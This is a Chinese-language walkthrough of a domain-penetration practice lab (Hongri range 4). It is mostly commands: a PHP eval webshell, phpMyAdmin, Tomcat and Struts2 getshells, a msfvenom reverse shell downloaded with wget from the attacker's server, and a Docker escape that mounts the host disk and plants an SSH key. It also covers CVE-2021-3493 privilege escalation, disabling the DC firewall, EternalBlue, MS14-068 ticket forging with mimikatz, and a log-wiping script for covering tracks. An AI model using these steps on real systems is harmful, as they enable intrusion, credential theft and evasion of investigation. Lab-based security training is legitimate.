靶场实操|域渗透之红日靶场4
-
概念图
-
直接开干
-
先进入ubuntu启动web
-
先开启3个环境
-
命令:
-
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
-
sudo docker-compose up -d
-
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
-
sudo docker-compose up -d
-
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
-
sudo docker-compose up -d
-
开始
-
一、信息收集
-
nmap -sS -T4 192.168.1.0/24
-
发现目标:192.168.1.10 除了22端口 2001-2003全是web服务
-
nmap扫描发现目标主机
-
二、web入侵
-
访问2003端口 是一个phpmyadmin
-
尝试日志文件Getshell
-
1.利用SQL查询查询 select '<?php eval($_POST['cmd']);?>',将查询后的网页cookie
-
phpmyadmin:f29ab8338e5bebece0edf526c14416c4记录
-
2.包含Php-session文件getshell
-
-
http://192.168.1.10:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
-
尝试将general log改为yes,提醒我们没有权限,好吧,日志文件getshell这条路是行不通了
-
利用百度搜索发现,phpmyadmin4.8.1后台存在漏洞CVE-2018-12613,利用Poc验证本服务器是否存在
-
成功包含,存在此漏洞
-
漏洞利用
-
打开2002端口 是一个tomcat页面 版本是8.5.19
-
尝试put方法拿shell
-
冰蝎连接
-
成功getshell
-
先打开2001端口的web
-
是一个上传界面
-
我们先随便上传一个文件
-
上传之后发现后缀是.action的
-
推测是struts2框架
-
然后使用漏洞工具探测一波
-
发现存在漏洞 且可执行命令 用msf上线
-
先在kali上生成msf木马 然后开一个http服务 将马放在服务上 供目标远程下载 因为目标出网
-
然后目标远程下载 执行下载命令
-
然后msf开启监听
-
然后在目标上执行shell.elf 先给权限
-
然后执行
-
然后kali 收到会话
-
发现是172开头的
-
怀疑是docker 先判断一波
-
用命令 cat /proc/1/cgroup
-
判断docker方法:
-
确定是在docker中 所以进行docker逃逸
-
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.96 LPORT=6666 -f elf > shell.elf
-
python -m SimpleHTTPServer 80
-
命令:
-
wget http://192.168.1.11/shell.elf
-
命令:
-
-
use exploit/multi/handler
-
set lhost 0.0.0.0
-
set lport 6666
-
set payload linux/x86/meterpreter/reverse_tcp
-
run
-
命令:
-
1、使用下面命令,查看是否存在 dockerrnv 文件 ls -alh /.dockerenv
-
2、查看系统进程的cgroup信息 cat /proc/1/cgroup
-
1、Struts2框架漏洞Getshell
-
2、Tomcat任意文件上传(CVE-2017-12615)Getshell
-
3、PhPMyadmin CVE-2018-12613 Getshell
-
三、Docker逃逸
-
先查看版本
-
根据志哥的wp 发现有一个新的exp可以提权 CVE-2021-3493
-
EXP下载地址:https://github.com/briskets/CVE-2021-3493
-
影响版本
-
编译并上传到服务器exp
-
Ubuntu 20.10
-
Ubuntu 20.04 LTS
-
Ubuntu 18.04 LTS
-
Ubuntu 16.04 LTS
-
Ubuntu 14.04 ESM
-
gcc exploit -o exp
-
python3 -m http.server 80
-
chmod 777 exp
-
./exp 失败...推测环境不一致导致编译后无法在目标主机环境运行,上传exploit.c,尝试在服务器上编译使用
-
http://192.168.1.11:80/exploit.c
-
gcc exploit.c -o exp
-
./exp
-
然后重新弹一个root的shell回去
-
先在kali中生成密钥 创建一个key文件
-
然后将密钥复制
-
然后写入目标的.ssh目录下
-
命令:
-
然后用kali连接ubuntu
-
cp -avx /shell/home/ubuntu/.ssh/id_rsa.pub /shell/home/ubuntu/.ssh/authorized_keys
-
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW0uc8noTdYQIrZo5ODN0AyB4tmZlTF8mwxeVxccWCxrUkVwjhcfcmGq3czbgncMUoYh5vB1jWZSnakVfc4pAx3Yg/G4HVKu1q0JkCqrz8c1VJOpQAWoVjw8gCXpBk1rizX5nS4lkHAfZVJ0gb4grTGK31F+vbhN3OLIqteyUN7kJzWvvhD/iUiEDqVFKzllXIZGTr+kZioZfSxCJEZuI6ARbRDnKM/YHcdlfy0k64bYwWquCV8jxZOC5CYGr9Q6gPEO17a1szkNyTOGWNYk/oDQ2UpOT/PjObE3xk8eQrqnZFHQL23vTou3XOXoSp0C3DEdkr8aYE5bGUoet5n82QzZZixxCQIpuRvtvLHCQlBMiJZEB97gtivFZJXbFxV1QJpbrQDO/Q+HZTGH4rZnFMADDjbFhtWlb/uQqkZr38/hX7JxI8oewZcTKrF7tgc3jE/R33c/8OqNoYdv7LKqP//m7CEVUFE99GH5N+I3H8z6bQnARRhQ/1jKYLmK4+jXk= root@kali' > /hack/home/ubuntu/.ssh/authorized_keys
-
cat /hack/home/ubuntu/.ssh/authorized_keys
-
这里要注意连接的时候需要根据生成key时候的名字 hack
-
利用fdisk -l 查看挂载盘
-
sda1盘疑似挂载于宿主机上,利用mount挂载于我们创建的目录之上
-
mkdir shell
-
mount /dev/sda1 shell
-
挂载成功,我们此时可以查看、修改宿主机的某些文件了。
-
写入ssh密钥进行docker逃逸
-
ubuntu提权
-
四、内网横向
-
先生成一个正向的shell 上传到pc win7上 然后copy到dc上
-
关闭dc防火墙
-
sc WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
-
sc WIN-ENS2VR5TR3N start unablefirewall
-
然后将bind.exe传到dc
-
msf创建监听
-
创建服务执行msf马:
-
不知道是我的操作问题 还是环境问题 我一直出毛病
-
最后始终连不上
-
后面的操作 也没多难 执行拿下dc 抓hash 抓密码等 就不继续操作了
-
sc WIN-ENS2VR5TR3N.demo.com create shell binpath= "c:bind.exe"创建执行正向shell的进程sc WIN-ENS2VR5TR3N.demo.com start shell启动可以执行正向shell的服务
-
use auxiliary/scanner/smb/smb_ms17_010
-
set payload windows/x64/meterpreter/bind_tcp
-
set rhosts 192.168.183.130-131
-
run
-
看样子两台都可能有 先打131
-
拿下131
-
开始域内信息收集:
-
但执行域内信息收集的时候出现问题 一直报错
-
通过问志哥发现 说是当前用户不在域内 换一个用户收集
-
通过systeminfo发现当前是pc机 还有一个机器应该就是域控
-
先进行进程迁移到一个域用户
-
迁移成功
-
现在就能成功进行相关的域信息收集
-
找到域控机器
-
ip 192.168.183.130
-
DC机器名:WIN-ENS2VR5TR3N.demo.com
-
域管用户 administrator
-
域用户sid
-
切换回高权限 然后用kiwi抓取密码
-
抓取到了域用户的明文密码和hash 但是没有抓到域管的
-
使用smb连接了 但是无法执行命令
-
所以利用ms14-068域内漫游
-
切换到域用户然后上传exe
-
然后执行 利用ms14-068生成票据: ms14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
-
然后利用mimiaktz将凭据导入内存
-
这里需要先清除目标的凭据
-
mimikatz # kerberos::ptc TGT_douser@demo.com.ccache
-
然后dir WIN-ENS2VR5TR3N.demo.comc$
-
凭据生效
-
这里图贴错了 不影响
-
demodouser S-1-5-21-979886063-1111900045-1414766810-1107
-
douser:Dotest123ntml:bc23b0b4d5bf5ff42bc61fb62e13886e sha1:c48096437367aad00ac2dc70552051cd84912a55
-
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
-
mimikatz # kerberos::list //查看当前机器凭证
-
mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中
-
use auxiliary/scanner/portscan/tcp
-
set ports 135,445,80,443,1433,3306,53,8080,8888,7001 # 将常用端口添加并扫描set rhosts 192.168.183.130-131#探测两台服务器
-
130开了53 135 445
-
131开了135 445
-
因为都开 了135 445 用永恒之蓝扫一波
-
use auxiliary/scanner/smb/smb_version
-
set rhosts 192.168.183.0/24
-
set timestampoutput 5 设置最大超时时间为5s
-
发现两个存活主机 以及域名demo
-
use auxiliary/server/socks_proxy
-
set srvhost 192.168.1.11
-
set version 4a socks版本
-
run
-
发现路由
-
添加路由 命令:run autoroute -s 192.168.183.0/24
-
开启socks代理
-
信息收集 探测存存活主机
-
探测主机存活端口
-
永恒之蓝
-
漫游DC
-
五、痕迹清理
-
1.查看事件日志run event_manager -i
-
2.删除事件日志run event_manager -c
-
3.clearv命令清除目标系统的事件日志。
-
清除命令历史记录
-
histroy -r #删除当前会话历史记录
-
history -c #删除内存中的所有命令历史
-
rm .bash_history #删除历史文件中的内容
-
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
-
在隐蔽的位置执行命令
-
使用vim打开文件执行命令
-
:set history=0
-
:!command
-
linux日志文件
-
/var/run/utmp 记录现在登入的用户
-
/var/log/wtmp 记录用户所有的登入和登出
-
/var/log/lastlog 记录每一个用户最后登入时间
-
/var/log/btmp 记录错误的登入尝试
-
/var/log/auth.log 需要身份确认的操作
-
/var/log/secure 记录安全相关的日志信息
-
/var/log/maillog 记录邮件相关的日志信息
-
/var/log/message 记录系统启动后的信息和错误日志
-
/var/log/cron 记录定时任务相关的日志信息
-
/var/log/spooler 记录UUCP和news设备相关的日志信息
-
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
-
完全删除日志文件:
-
cat /dev/null > filename
-
: > filename
-
> filename
-
echo "" > filename
-
echo > filename
-
针对性删除日志文件:
-
删除当天日志
-
sed -i '/当天日期/'d filename
-
一键清除脚本:
-
#!/usr/bin/bash
-
echo > /var/log/syslog
-
echo > /var/log/messages
-
echo > /var/log/httpd/access_log
-
echo > /var/log/httpd/error_log
-
echo > /var/log/xferlog
-
echo > /var/log/secure
-
echo > /var/log/auth.log
-
echo > /var/log/user.log
-
echo > /var/log/wtmp
-
echo > /var/log/lastlog
-
echo > /var/log/btmp
-
echo > /var/run/utmp
-
rm ~/./bash_history
-
history -c
-
Linux
-
Windows
文章来源:亿人安全
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END